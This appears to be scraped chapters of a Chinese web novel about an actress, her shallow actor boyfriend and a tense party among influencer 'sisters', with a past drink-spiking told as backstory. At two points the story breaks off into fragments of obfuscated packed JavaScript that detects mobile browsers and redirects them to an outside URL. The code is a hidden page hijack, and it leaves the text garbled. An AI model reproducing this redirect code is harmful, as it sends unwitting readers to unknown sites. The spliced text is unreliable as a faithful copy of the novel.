时闻一双黑眸犹如坚冰,语气里没有任何温度:“和你无关,放开我,我要走了。” 眼看时闻拔脚就走,林见微一不做二不休,再次猛抓住他的胳膊,口中叫道—— “小心高翔,是他捣的鬼!” 时闻怔住,整个人都定在原地,无数念头如电闪雷鸣般闪过心头。 但等他终于反应过来,想要问个清楚时,林见微已经戴上口罩,瘦小的身形快步消失在视线里。 6. 六 高翔,著名的高氏资本太子爷,大名鼎鼎的娱乐圈小霸王。 这是一个林见微化成灰也不会忘记的名字。 她刚刚踏入演艺圈的时候,是个涉世未深的小姑娘,不懂得人心险恶。 所以,在《烟雨半生》的庆功宴上,当高翔递给她那杯酒时,她想也没想就直接喝了。 酒劲很大,药劲更大。高翔是搞这种事的老手,但那一次可能剂量下猛了,林见微当场就站不住了,头晕得想吐。 天旋地转之时,她突然听到一声铮然的敲击声,好像是玻璃瓶砸在桌子上的声音,然后屋内一片哗然,不少人纷纷起立,叫嚷着: “时闻你要干什么!”“时闻你是不是喝醉了?”“快上去拦住他!” 一串脚步响动,地板随之震颤,林见微泛起一阵恶心。 她抬起头,眼泪控制不住地往下流,模糊的目光里,只见时闻站在对面,手举着半截啤酒瓶,瓶身裂口狰狞凄厉,他的眼睛阴郁沉黑。 他张开嘴唇说了什么,但林见微已经听不见了,她想要挣扎起身,但如千钧重的身子极速下坠。 眼看她就要摔在地上,这时陈怀顾从一旁稳稳接住了她,将她打横抱起,然后在众目睽睽之下大踏步走了出去。 之后林见微就失去了意识。 醒来后她躺在医院里,四周异常得静,只听见医疗仪器缓慢而沉稳地嘀——嘀——响着。 她试图动了下身子,一股撕裂般的剧痛在脑子里炸开。 她无声地叫了出来,一旁有个人疾走过来。 陈怀顾的脸露了出来,他看上去十分憔悴。 “你醒了。”陈怀顾的声音听上去疲惫但透着欣喜,他冲她笑了,还拉起她的手。 她五指冰凉,他手掌温热干燥。 之后她得知,陈怀顾在医院里一直对她寸步不离,不仅垫付了医药费,而且还对她有求必应。 她想吃什么,他就变着法地给她做,她说点外卖就好了不必麻烦,他直摇头说外卖不干净怕她吃了不舒服。 出院后,她就和他在一起了。 那之后,她却没有收到时闻的任何消息。她主动联系他说谢谢,他只是简短地回说应该的。 过了很久,她才从尤有芒那里得知,那天晚上,时闻大闹酒局,手掌心被酒瓶刺破,缝了五针,而且还得罪了一票圈内大佬。 后来,林见微在一些工作场合遇见过时闻,他和她保持着完美的分寸和距离感,从未主动提起酒局的事,好像一切都没发生过一般。 如果不是无意间瞥见他手心里那淡红的疤痕,她甚至以为她在意识紊乱时记忆错乱了。 她感激他,因为他让她觉得他们只是点头之交,他从未目睹过她不堪回首的过往。 高翔并没有就此消停,相反,他愈发猖獗,时常玩弄小姑娘,但从未承担过任何责任。 他也没放过林见微,总是有意制造偶遇,有一阵子甚至到了跟踪的地步。 面对林见微一次次越来越强烈的拒绝,高翔终于忍不了了,由爱生恨,发誓要毁了她。 从某种角度上来说,他做到了。 《风华绝代》开拍的时候,高源资本答应注资60%,但戏拍到一半,撤资了。 林见微个人也有投资这部戏,如果剧组停摆,电影腹死胎中,她不仅面临高额经济损失,而且不知多久才能等到下一个电影圈的敲门砖。 她不想等,于是和聚力资本签下高风险的对赌协议。 但《风华绝代》首映礼上发生那样的事,之后又被同档期的《桃花烂大街》压榨票房,这一切肯定有人捣鬼。 她几乎可以断定,高翔就是幕后黑手,高源资本是他控股的,时穆飞是他的狐朋狗友。 所以她想提醒时闻,希望他能有所警醒。 他是个聪明人,应该能明白她的意思。 回到家后,她稍微收拾了一下,时间就到了下午三点多。 她和麦乐鸡约定的就是今天下午见面,在麦乐鸡的大别墅里开趴体。 陈怀顾答应百忙之中抽空陪她参加聚会,所以三点半左右,楼下出现了一辆十分拉风的白色敞篷跑车。 车内放着高分贝重金属音乐,陈怀顾带着墨镜狂拽酷炫地坐在里面,回头率百分百。 林见微不喜欢他高调张扬的样子,但鉴于现在是大劈叉,扮演的是霸总娇妻的角色,只能强颜欢笑地坐了进去。 轰的一脚油门,车子一路飙到棕榈大道303号。 笔直宽阔的马路两旁,棕榈树高大笔挺,明列的阳光透过宽阔油绿的叶子,在路边积起小簇小簇的绿荫。 马上就要到303号时,陈怀顾突然一个急刹,车内的重金属音乐也戛然而止。 他攥着方向盘,脸上透出痛苦神色。 “……你怎么了?“林见微小心翼翼地问。 陈怀顾满面苍白:“我肚子疼——!“ 林见微惊讶地看着他,陈怀顾身体一向很好,就算连着几宿和人在外面喝酒吹牛夜不归宿,也不会生病难受。 这时她余光瞥见旁边一瓶酸奶,瓶身上写着“舒氧“两个字。 她恍然大悟。 ”你是喝了这瓶酸奶吗?“林见微问道。 陈怀顾痛苦地点点头,已经没力气说话。 林见微:“这……这酸奶有问题啊,你没看微博吗?有人爆料说这是三无小作坊生产的。 “ “听说它家工厂卫生完全不合格,大夏天苍蝇乱飞,蟑螂乱爬。” “呕——“陈怀顾没听完就差点吐出来。 林见微拍了拍他后背:“大家都调侃,舒养舒养,喝了这酸奶,就要去医院输氧。” “怎么办,要不就近找个公厕解决一下?” 陈怀顾不可置信地看着她,眼里满是绝望:“我这么一个帅气逼人的偶像,竟然要在臭哄哄的公厕里上吐下泻???” “不行,头可断血可流,形象不能丢。” 林见微心里冷笑:都什么时候了,还顾念形象。 再说,你有什么形象可言。 臭不要脸的渣男。 但她还是不无同情地看着他:“但你这个样子,也不能干别的啊,还是要去解决一下。” “你先把我放在路边吧,等会儿我们趴体上见。” 陈怀顾痛苦地望着她,但想来想去也没别的办法。 林见微朝他摆摆手说再见,下车朝别墅走去。 室外气温将近三十五度,空气里蒸腾着炽热,林见微没走几步就觉得后背渗出一层细汗。 穿过修剪齐整的花园,她来到一座象牙白独栋别墅门前,摁下门铃。 叮咚——叮咚—— 大门打开,一个身形不高,扎着双马尾的圆脸可爱女生从后面冒了出来。 紧随而来的是一声高分贝惊叫: “大劈叉!!!” “好久不见,你终于想起我们了!” 来之前林见微把大劈叉小姐妹的朋友圈从头到尾翻了个遍,所以她一眼认出,眼前这个女孩名叫钱雯。 钱雯热情地挽着林见微,拉着她往里走。 一股清凉袭来,迎面是一个约两米高的落地圆镜,旁边的小方桌上摆着一副装裱精致的照片。 照片上是麦乐鸡和她男友,虽然两人都有明显的P图痕迹,但完全没掩盖两个人的缺点—— 麦乐鸡尖嘴猴腮,整个人透着一股小家子气的精明势利。 她男朋友看上去得有四五十岁了,硕大的脸盘上顶着几撮稀疏的头发。 再往里走,一个装饰豪华,面积足有小半个足球场大的客厅霍然出现,几个穿着讲究的男男女女略带惊讶地看着她。 麦乐鸡站在最中间,一袭白色曳地长裙舒落雅致,她和照片里长得其实差不多,偏长的脸型,下巴尖尖的,苹果肌和额头嘭弹饱满,整张脸比例失调看着特别别扭。 见到林见微,她捂住嘴,发出尖细的声音:“大劈叉!宝贝,快来给我一个拥抱!” 林见微今天穿着一条红色连衣裙,丝绸的材质柔软贴肤,完美勾勒出俏丽身形,裙摆开在膝盖处,整个人透着从容典雅。 她越过一众穿着包臀裙的小姐妹,来到麦乐鸡身前,露出一个恰到好处的微笑:“亲爱的,最近好吗?” 麦乐鸡一手拿着香槟,一手给她来了个轻浅拥抱,然后细细打量起她的脸:“你今天妆化得很精致啊,是不是听说谷公子要来,特意打扮一番?” 人群发出一阵轻笑。 这时,一旁一个身材高挑,烫着大波浪卷的女人凑了过来,眼睛滴溜溜地瞅了一圈: “谷煜今天真的会来吗?他最近忙着接管笑口集团的生意,肯定挺忙吧?” 麦乐鸡立刻道:“郝施,稍安勿躁,我男朋友和谷公子有商业合作,认识好几年了,谷公子一会儿就到,等他来了我先介绍你俩认识。” 郝施摆摆手:“害,不用,你们之前总说,谷公子巨帅无比,简直和电影明星一样,我就好奇问问。” 钱雯:“我作证,真没夸张,他的脸放在帅哥如云的娱乐圈也很能打!更难得的是,谷公子性格也好,不像其他富二代,眼睛都长在头顶!” 麦乐鸡:“没错,谷公子这个人,真是提着灯笼也找不到的罕见存在。” 郝施笑着看着麦乐鸡:“谷公子怎么样倒另说,你可是这里最有福的人,跟了大老板,豪车别墅都有了,也不需要在乎那些个富二代们了。” 钱雯附和:“就是,Melody是最有头脑,最有福气的,你看,她手上的戒指手链每次都是新的,不带重样的!” 郝施立刻抓过麦乐鸡的手,细细看去—— 纤细白皙的食指上赫然立着一枚晶莹饱满的钻戒,目测至少九克拉,手腕上是某奢牌当季最新款的手链,市场价十几万。 “啧啧啧,”郝施不无羡慕地看着麦乐鸡的手,“你这双手可真尊贵。” 钱雯在一旁补道:“人家男朋友说了,现在还没订婚,先随便送个九克拉钻戒戴着玩玩,等正式求婚的时候,要送个更大的呢!” 几人说话的功夫,客厅里其他人都围拢过来,对着麦乐鸡投来艳羡目光。 一个穿着鲜艳时髦的男人评论道:“麦乐鸡有颜值,有实力,有资金,有资源,啧啧,都可以出道当明星了,肯定能大火!” 众人又发出一阵附和的赞叹:“没错,没错。” 男人,Chris,又说:“你老公应该有点资源吧?到时候给你介绍大导演,量身打造一部戏,拍出来你就是娱乐圈冉冉升起的新星!” 这时郝施把话题转向她旁边的大劈叉: “大劈叉,你看看Melody,我们的活典范、活楷模!你最近怎么样啊,我听说你直播的时候差点出事。” “我跟你说,你要是有个像Melody男友一样知冷知热的男人在你身边,你不就不用怕了吗!” 一旁的钱雯插道:“何止不用怕,要是能找到个二代,她就不用在辛辛苦苦每天直播了,那些天价债务也早解决了!” 满屋人的目光随着二人一同看向林见微。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386749|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知为何,林见微觉得众人的目光有些微妙。 她一时语塞,停顿半晌说:“一定要靠男人吗?我靠我自己也可以。” 话一出口,郝施立刻一副“你脑子被驴踢了”的神情: “你是不是被吓傻了?一个亿的债务!你靠自己怎么还啊,还到下辈子,下下辈子也还不起啊。” “我有个小姐妹,跟你差不多大,前一段因为欠了一百多万的债务还不起,一个大活人直接人间蒸发了!电话、微信全都联系不上,她家人报警,警察找了几个月也没见人影。” “后来才知道,她被债主卖到缅北了!卖身抵债,多可怕,你想过这个下场吗?” 林见微:“我……” 麦乐鸡也说:“现在后悔也来不及了,我当时就劝你赶紧钓个男人——你既然求我带你入行,怎么不听我的,现在出事也没后悔药了。” Chris:“一个亿实在是太夸张了,宝贝,实在不行,你这两天就收拾收拾东西跑路吧!等风头过去了,我们告诉你。” 麦乐鸡立刻瞪眼拦道:“她可不能跑路!她跟我们公司的合约还没结束呢。” 林见微这才知道她和麦乐鸡同属一个公司,而且听她的口气,麦乐鸡好像还是她的领导? 看着一屋子目光各异的人,林见微郑重道:“我再说一遍,我会解决我的债务的,这件事情和大家无关。” 麦乐鸡声音尖细:“和我们无关?大劈叉,你欠了天文数字的债,但一点也没告诉公司,我们也是后来看直播才知道的,你刻意隐瞒,是不是有所企图?” 林见微这才顿悟麦乐鸡的怨气从何而来,好言好语道:“Melody,我在努力寻找解决办法了,我会继续直播下去的,不会给公司带来损失。” 麦乐鸡已经毫不掩饰语气里的讥讽:“你的解决办法,就是跑过来求我们吧?你都多久没和我们联系了,现在出事兜不住了想起我们这帮人了。” 林见微突然明白,原来麦乐鸡以为自己过来,是走投无路想来求她想想办法。 原来从一开始,这一屋子的人都在等着看她笑话。 敢情麦乐鸡明面上以商务合约作为诱饵约她过来,实际上是为了探探虚实,顺便和小姐妹们拿她当猴耍,找乐子。 既然这样,她也没必要装和气,迎着众人各色目光,她沉着道: “我自有办法,你们以为我今天来是来求你们出手相救的?咱们都是同一个圈子的,你们的财力和人脉我心里有数,怎么可能来找你们帮忙!” 一句话说得令众人变色,但林见微继续加足火力: “Melody,我今天来,是为了恭喜你梦想成真,恭喜你千方百计终于撩|骚到了大老板。你劝我找的就是这种人吧?谢谢,我不需要一个走在大街上会被人错认为父女的人。” 麦乐鸡气得声音发抖:“大劈叉!你这是吃不到葡萄说葡萄酸!” “你直播那么久,撩|骚话也说了那么多,但现在一个男人也没有,现在你嫉妒我过得好,来我别墅里撒野,是不是太过分了!” 林见微不卑不亢:“你也没什么可嫉妒的,我大劈叉能找到的男人……”本想说“比你的好一万倍,但想想陈怀顾那个样子,只得说,”我大劈叉也能找到男人!“ 麦乐鸡简直气笑,她断定大劈叉发现求人不成已经丧失理智,愈发得意起来: “哟,三条腿的蛤蟆不好找,大街上男人多的是。你当然能找到男人,大街上随便拉一个不就行了!“ 林见微:“我大街上随便拉一个,都比你拉皮条拉来的好。“ 麦乐鸡气愤至极,把香槟杯“砰”地放在一旁的架柜上,拉住大劈叉的胳膊将她往门口拉: “你给我走,这里不欢迎你个廉价失败,满口污言秽语的女人!” 两人刚撕扯着来到门廊,大门突然打开,一阵热风吹了进来。 紧接着,一个高大帅气的男人走进门廊,见到此状,脸上的春光得意瞬间化成一片惊恐。 “你……你们这是……” 屋内的众人此时也纷纷跑来,将麦乐鸡和大劈叉拉开,十分不好意思地看着这个新来的男人。 于是众人发现,这陌生男人长得干净帅气,五官立体,身材比例极好,一双大长腿格外显眼。 他这个长相,就算进娱乐圈也不会埋没。 再仔细看他的着装:衣服裤子虽然看不见logo,但识货的人一眼就能看出那来自某小众但价格吓死人的品牌。 郝施一下子想起了什么,惊叫一声,指着男人,指尖兴奋地颤抖。 “哇,你,你是……” 男人困惑地看着她。 迷人的外表让大家一下子忘了刚刚的闹剧,众人你一言我一语地低声议论起来: “哇,果然好帅!真的和电视上的明星一样!” “他五官长得好优秀啊,腿也好长。” “等一等,我怎么觉得他有点眼熟?” “我也觉得,他好像《烟雨半生》里面的那个男二号啊!” “还真的,简直一个模子刻出来的。” 郝施是个直性子,懒得打哑谜,脸上溢着热情洋溢的笑,声音甜得像全糖奶茶:“谷公子,快进来!” 林见微:“……等一等,他……” 声音被淹没在小姐妹你一言我一语的议论中,对面的“谷公子”,也就是陈怀顾,困惑至极,因为窜稀了好几趟而苍白的脸上满是诧异。 他挠挠头,心想:主播们的文化水平就是不高,顾字都不会读。 7. 七 陈怀顾丈二和尚摸不着头脑,傻愣在门口:“我……” 郝施:“谷公子,别客气!别在门口站着了,快进来,我们这里有好多好吃好喝的!” 陈怀顾满脸疑惑地看着有些狼狈的林见微,似乎在问:这是怎么了? 林见微摇头苦笑,意思是:我晚点再跟你细说。 郝施已经殷勤地跑回里厅,拿了杯香槟酒跑回来,往陈怀顾手里一塞:“谷公子,怎么来得这么晚?是路上堵车了,还是从另外的局赶过来的?” 陈怀顾优雅弯腰,接过香槟,发出的声音充满磁性:“不好意思我刚刚停车花了点时间。” “我平时开车不多,倒车入库不太熟练。” 郝施发出一阵夸张的笑声:“哈哈哈可太有意思了,像您这样的贵公子,平日来回来去都有司机接送吧,今天怎么自己亲自开车?” 说着,俯身低声在他耳边道:“实不相瞒,我科目二考了好几次都考不过,要不要一起练练?” 陈怀顾有点吃惊,他明明有主了,这个女孩子怎么还往自己身上贴? 但贴一贴……还挺受用的。 这么想着,他已经被一众小姑娘簇拥着迎到了客厅。 “谷公子,今天外面挺热的,来里面凉快凉快。” “听说你在美国留过学,要不要喝点冰水?” “冰水对胃不好,那边有新泡的西湖龙井,来点祛暑?” 陈怀顾有些受宠若惊,虽然他大小也是个名人,但平日里在影视圈内实在排不上号,从没有人对他如此前呼后拥过。 他小心接过众人递来的酒、冰水、龙井,这时麦乐鸡似乎忘了刚刚的不愉快,闪到了陈怀顾面前。 “谷公子,“麦乐鸡的声音温柔极了,刚刚的盛气凌人消失殆尽,”路上过来还顺利吗?” 陈怀顾笑着点头:“挺顺的,你们这是……” 麦乐鸡殷勤地递上一支烟:“抽烟吗?” 陈怀顾连忙摆手:“不抽,不劳您大驾。” 麦乐鸡笑得很灿烂:“没事,来到这里就像来到自己家一样,别客气!” 麦乐鸡虽然邀请了谷煜,但其实并没有见过真人,只是在朋友圈见过他照片,在微信里聊过几句。 至于谦逊随和温良如玉,也是听小姐妹道听途说,消息到她这里,已经转了好几手。 有一说一,陈怀顾虽然人品渣,但毕竟是混娱乐圈的,脸还是非常抗打的,立体的五官配上那双看人时自动放电的深眸,直让麦乐鸡这帮人挪不开眼。 现在这个年代,谁照相不P图啊,所以虽然陈怀顾和麦乐鸡见过的照片有出入,她还是一厢情愿认定这就是人见人爱谦逊随和的谷家少爷。 这次她费了老大劲才邀请到他,不仅是为了给小姐妹们证明一下自己的人脉和江湖地位,更重要的是,她男友做的食品进出口行业,如果能和谷少爷搞好关系,绝对是对男友事业的推进器。 寒暄过后,麦乐鸡开始步入正题,她想起谷少爷接班后来了个新官上任三把火,开辟了几条涉及奶制品的业务线,便问: “谷少爷,我听说你最近正忙着舒养酸奶食品安全的事,怎么样,事情解决了吗?” 陈怀顾差点没忍住,一口水几乎喷了出来。 舒养酸奶的食品安全问题? 她是指,刚刚他喝完舒养酸奶,立刻就到公厕窜稀,对着马桶上吐下泻这种见不得人的事? 她,说得还很挺文雅委婉的。 但既然要文雅委婉,为什么不能干脆就不提?? 他并不想仔细回想刚刚那些不可描述的惨烈场面,所以只是简短道:“哦,解决了,不劳您挂心。” 麦乐鸡笑着说:“谷公子就是厉害,出手神速。我还想着,我男友是搞食品贸易的,认识监管部门的人,没准可以帮帮忙。” 陈怀顾觉得一定是刚刚拉稀拉得太厉害了,导致他现在脑子不好使。 他男友帮忙?怎么帮忙,去厕所帮他…… 陈怀顾摇摇头:“不用了,不用了。” 麦乐鸡本来有事要求他,但看他这般冷淡,一时不知该如何将话题进行下去。 这时,郝施扭着纤细腰肢走了过来,大剌剌在陈怀顾一旁坐下—— 陈怀顾坐的是个小型双人沙发,只够容纳两个瘦小女生,陈怀顾长手长腿地往那一坐,大半个沙发都被占满。 现在郝施坐了过来,两个人一下挤在一起,陈怀顾刚要起身,郝施便娇俏道: “别走啊,谷公子走南闯北,见识颇广,这就怕了么?” 陈怀顾脸一热,眼睛搜寻着林见微的身影,但此时她好像去洗手间了,所以陈怀顾想了想,干脆心一野,复又坐下。 他笑着看了看郝施风情万种的身形:“你们玩得开,是我没见识。” 郝施呵呵一笑:“这就对了嘛,公子稍安勿躁。谷公子,最近生意忙吗?” 陈怀顾:“还行,店里翻台率挺高,我正想着在你们这儿附近开一家分店。” 郝施眉毛上扬,心想:谷家明明是做面包饼干这些小食品生意的,最近两年才开辟了新业务线,做起了舒养酸奶,乳酪芝士,没听说他们家有单独的实体店,也更不存在翻台率这一说啊。 但她对生意场一窍不通,若提出疑问,反而显得自己孤陋寡闻,便顺着道:“那可太好了,你选好店址了吗?” 待陈怀顾报出地址后,郝施开心地笑了:“哎呀这么巧,那个地方就在我们一个街区之外!” “你什么时候把店开起来?到时候我们这些朋友都去给你捧场啊。” 陈怀顾刚刚快速灌了点酒,现在有点上头,看着郝施还有屋内一众妙龄少女,不由地心花怒放: “马上就开,到时候我让韦盏告诉你们。” 一旁还真有个ID叫微微绽放的女生,陈怀顾说得快,那个女生还以为他说的是微绽,立马惊喜地叫了一声,跑到陈怀顾面前: “你怎么认识我?是看过我的视频吗?” “好啊好啊,您的店开起来之后就告诉我,我保证把在场的人一个不拉地通知到!” 陈怀顾再次疑惑起来,这时麦乐鸡给了微绽一个白眼,插道: “怎么哪儿都有你!谷公子,那我就提前祝您开业大吉啦!” “说到开业,其实我正有个问题想请教您。” “我的男朋友也是做这一行的,做的是食品进出口,最近关税变动太大,销量不稳定,您在这个行业算是龙头老大地位了,能给把把脉支个招吗?” 陈怀顾听到“龙头老大”四个字,心里乐开了花,他火锅店的生意真不算好,很多时候都入不敷出,没想到大劈叉跟她小姐妹形容的时候,竟然这么给他面子。 龙头老大都做了,招自然要支,陈怀顾笑着说:“不敢不敢,但你男友有什么需要帮忙的吗?” 麦乐鸡眼睛都亮了:“哎呀,哪里敢麻烦您这个大忙人呢!其实这次请你来,是想看看有没有合作机会。” 陈怀顾:“他是做进出口贸易的对吧,那当然可以,他有牛羊肉的贸易线吗,我们店里需要这些。” 麦乐鸡:“……他是做面包饼干的,但是可以开辟新业务,这都不是问题!只要您愿意合作,我们怎么都行。” “我们可以去澳洲、新西兰那边收购最上等的牛羊,他们下奶之后我们就空运回来,保准新鲜。” 陈怀顾:“牛羊奶自然也是需要的,最关键的是牛羊肉,我们店里销量最好的就是这些。” 这下麦乐鸡也疑惑了,怎么,合着笑口集团不仅卖酸奶,还打算把下奶的牛羊挤干榨尽,再宰了卖出去? 但面对赫赫有名的谷公子,她也不敢提出质疑,只是笑着道: “好,好,产品线越丰富越好,那咱们这就算达成合作啦?” 此时林见微恰好从洗手间出来,正望客厅里走。 陈怀顾一眼看到她,想着刚刚她对姐妹们夸自己是龙头老大,心里甜丝丝的,又想起往日她千般万般的温柔体贴,便说: “合作可以,但你得答应我一件事。” 麦乐鸡忙问:“什么事?” 陈怀顾:“你得帮我女朋友解决债务问题。” 麦乐鸡彻底傻了,脑子一团乱:“女朋友??” 郝施连忙往一旁挪了挪,同样震惊地看着他。 难道情报有误,谷家少爷其实早就有对象了? 陈怀顾的一句话仿佛一个重磅炸弹,将客厅里的男男女女炸得外焦里嫩。 一时间所有人的目光都聚焦过来,焦点中的陈怀顾指着站在客厅边缘的林见微: “她最近有些困难,你们看着给解决解决呗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386750|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈怀顾话音落下,整个内厅安静得大轰炸之后的废墟现场。 所有人都面面相觑,大眼瞪小眼,一时之间无语至极。 麦乐鸡简直要头下脚上栽过去,两只眼睛瞪得老大,不可思议地看着陈怀顾: “你,你和大劈叉,早就认识?” 陈怀顾对众人的反应也很吃惊,恋爱自然得先认识再谈,不然谈个鬼。 他老老实实说:“我们两个……两年前认识的。” 麦乐鸡嘴唇发抖:“她是你女朋友??” 陈怀顾还没来得及答话,林见微从一旁款款走来,将他从双人沙发上拉起来,二人十指相扣,林见微甜蜜地笑着: “介绍一下,我男朋友,顾公子。” 陈怀顾接到:“对,顾念的顾,我叫陈怀顾。” 麦乐鸡的眼睛瞪得像铜铃:“你说你叫什么??” 林见微笑着缓缓道:“你听过这个名字吧,我男朋友演过的戏不少。” 人群中传来一声尖叫,刚刚那个叫微绽的女生捂着嘴巴,表情激动地叫道: “你是陈怀顾?!?!” “天呐,是那个演《烟雨半生》里男二的那个人!” 《烟雨半生》是陈怀顾国民知名度最高的作品,讲的是民国时期一个穷苦女学生和一个富家公子的故事。 整部戏情节紧凑高|潮迭起,但又不失隽雅诗意,可谓是雅俗共赏,五年前播出的时候收视率非常高。 当时,林见微扮演的是女主角秋梦楠,陈怀顾扮演的是对女主角穷追不舍了四十二集的男二号赵山海。 林见微和陈怀顾也是因这部戏结缘,最终走在一起的。 因这部戏被人认出,陈怀顾还是十分高兴的,毕竟在这部戏之后,他再也没有拿的出手的作品了。 他笑着说:“惭愧,谢谢大家的厚爱。” 微绽激动得热泪盈眶:“天啊,没想到今天见到明星了!” 说着,她上前两步,犹豫问道:“我……我能找你要个签名吗?” 陈怀顾微笑着露出八颗牙齿:“没问题。” 微绽再次激动地叫了出来,原地蹦跶了几下,然后直冲过来:“太谢谢了!你,你就签在我胳膊上吧!” 说着她甚至想转身解开后背上裙子拉链:“签我后背也行!” 众人忙扳着她肩膀将她转到正面,又手忙脚乱找到一支马克笔,陈怀顾在微绽胳膊上龙飞凤舞地落下自己签名。 微绽看着胳膊上的签名,整个人都因太过激动而颤抖不已。 一旁的麦乐鸡脸色愈来愈冷,她想着刚刚自己对陈怀顾低眉谄媚的态度,恨不得找个地缝钻进去,再也不见人了。 她刚刚毫不留情地讽刺大劈叉入行这么久找不到男人,又对她冷嘲热讽,没想到这贱骨头竟然偷偷找了帅气多金的男友,而且男友还是娱乐圈的人! 论长相,论财力,论年龄,论人脉,陈怀顾都甩了自己那个又老又丑的男朋友十条街! 她真后悔自己刚刚对大劈叉那般蛐蛐。 世界上没有后悔药,此刻她也只得强打精神,强迫自己挤出一副比哭还难看的笑容,对着大劈叉道: “劈叉妹妹,刚刚……刚刚是我误会了,你别忘心里去。” 林见微露出一个释怀大度的微笑,摆摆手,意思是“这都不是事”。 她走过来,拉住麦乐鸡的手,深情道:“麦乐鸡姐姐,人在江湖飘,哪有不挨刀,误会说开了就好了。” 麦乐鸡感激不已:“谢谢你如此大度……” 林见微:“那我那天价债务的问题,就拜托给你了!谢谢你愿意借我三千万,用绵薄之力帮我度过难关。” 麦乐鸡急忙道:“诶,我,我没那么多钱,你……” 林见微不依不饶:“那你能借我多少钱?” 麦乐鸡:“你……我最多只能周转一百万出来,你不要太过……” “好,成交。” 麦乐鸡深吸一口气,咬牙切齿地望着林见微拍拍手,一副“就这样愉快地决定了”的神态,微笑地轻轻鞠了个躬。 碍于太多人在这里,麦乐鸡不好发作,只得握住林见微的手,顺势将她拉过来,附在她耳边低沉道: “你给我等着,我不会放过你的。你的合同还在我手上,我劝你不要放肆!” 8. 八 林见微脸色微变,但她还是保持着完美笑容,握了握麦乐鸡的手,在她气急败坏的目光中起身扬长而去。 她倒了一杯香槟,重新走回陈怀顾身旁,陈怀顾顺势搂住她,在她额头亲了一下。 林见微:“宝贝,谢谢你刚刚帮我。” 陈怀顾:“是我该谢谢你。我火锅店的肉类供应链正好出了点问题,我正愁该去哪里找新的货源,正巧你朋友有人脉想和我进行商业合作。” “她看着很急切,所以我就顺手帮你薅了羊毛嘿嘿。” 说着,陈怀顾脸色变得有些严肃:“宝贝,你跟我说上次的直播是你为了流量自编自导自演的,真正的欠债只有一百来万,你没骗我吧?” 林见微忙道:“当然,我怎么可能欠债上亿!” 陈怀顾:“你那些小姐妹好像不知道这件事的底细,你挑个时间告诉她们吧,我刚刚在门口听到你们的对话,她们听上去好像挺关心这件事的。” 林见微抱了抱他,露出星星眼:“这个自然,还有,我好像记得你说过愿意支援我一百万帮我还债……?” 陈怀顾当然没说过这话,但此时几杯酒下肚,又有美女在怀,不觉有些头昏脑胀,说话也开始不过脑子。 “没问题,出点小钱帮我的宝贝还债,天经地义。” 林见微立刻甜甜笑着在他脸颊上轻吻一下:“谢谢!” 陈怀顾摆手:“不值得一提。” 好像见不得这对小情侣甜蜜蜜,郝施走过来,脸色略显阴沉:“大劈叉,你这保密工作做得可真好啊,瞒得密不透风,我们这帮小姐妹一点也不知道!” 林见微抱着陈怀顾歉意地笑着:“不好意思,因为我男朋友是公众人物,我不好告诉你们,不是故意要瞒着姐妹们。” 郝施笑道:“好啦,反正也是高兴事,我就是觉得你脱单了,我们也没给你开party庆祝一下。” “诶,下周末有空吗,去我家玩啊?” 林见微看了看陈怀顾,本想以他工作忙为由拒绝,没想到他直接一口答应下来:“好啊,那我们就去玩玩呗。” 林见微有些惊讶,但也没说什么,只是笑着点头:“到时候你把时间地点发给我。” 郝施拿出手机看着陈怀顾:“顾公子,我加你个微信吧,到时候把你拉进群,你自己也能看到群公告,省得麻烦大劈叉再转告。” 陈怀顾欣然拿出手机,二人加了微信。 郝施转头看林见微:“我刚刚好像模糊听见Melody跟你说合约的问题,怎么样,问题解决了吗?” 林见微犹豫看着她,模糊道:“我俩之后会再沟通的。” 郝施笑笑:“需要我帮忙就说话哈,你那个合同是个无底洞,我入行这么久,就没见过那么苛刻的条款!” “诶,我记得你那个约定上明确规定,你每天都要播够12小时啊,你昨晚好像没上线?” 林见微余光瞥见陈怀顾目光愈来愈严肃阴沉,忙打断道:“这些问题我会自行解决的,不劳你挂心。” 郝施意味深长地看了看她,还想再说些什么,突然前厅传来一阵喧闹。 “哎呀你是……”钱雯的声音溢满激动兴奋。 一个身形瘦长的男生站在门口,他虽然理着平头,但不仅丝毫不影响他的帅气,反而衬得整个人愈发清爽干净。 这人浓眉大眼,五官周正,钝感柔和的鼻头和脸型让人不自觉就平生出亲近和信任感。 开口时声音柔和好听:“你好,我是谷煜。” 一句话犹如炸弹,全场瞬间沸腾起来。 “谷……谷煜?” “原来他才是真正的谷公子。” “但是传闻不虚啊,他也好帅!” “今天真是太有眼福了,一连看到两位帅哥,妈耶!” 麦乐鸡慌忙迎上去,笑道:“谷公子!你可算来啦。” 谷煜笑了笑露出洁白牙齿:“不好意思你们久等了。” 麦乐鸡忙摆手:“哪里,谢谢你赏光,来我给你介绍认识一下这里的朋友。” 说着,她犹豫了一下,还是将谷煜领到陈怀顾身前。 “这位是知名演员陈怀顾,演过好多大火的电视剧!” 谷煜的目光瞬间变深,他微微眯眼,似乎在细细打量着什么。 麦乐鸡犹疑问道:“你……认识他吗?” 谷煜没有回答,目光直接越过满脸困惑的陈怀顾,径直投向他搂在怀里的林见微。 然后他点点头,很肯定地答道:“认识。昨晚刚刚认识的。” 头一天晚上。 自从麦乐鸡告诉她,周六的party谷煜会出现时,林见微就在脑子里检索了所有关于谷煜的信息。 当演员的时候,她和他在饭局上有过几面之缘。 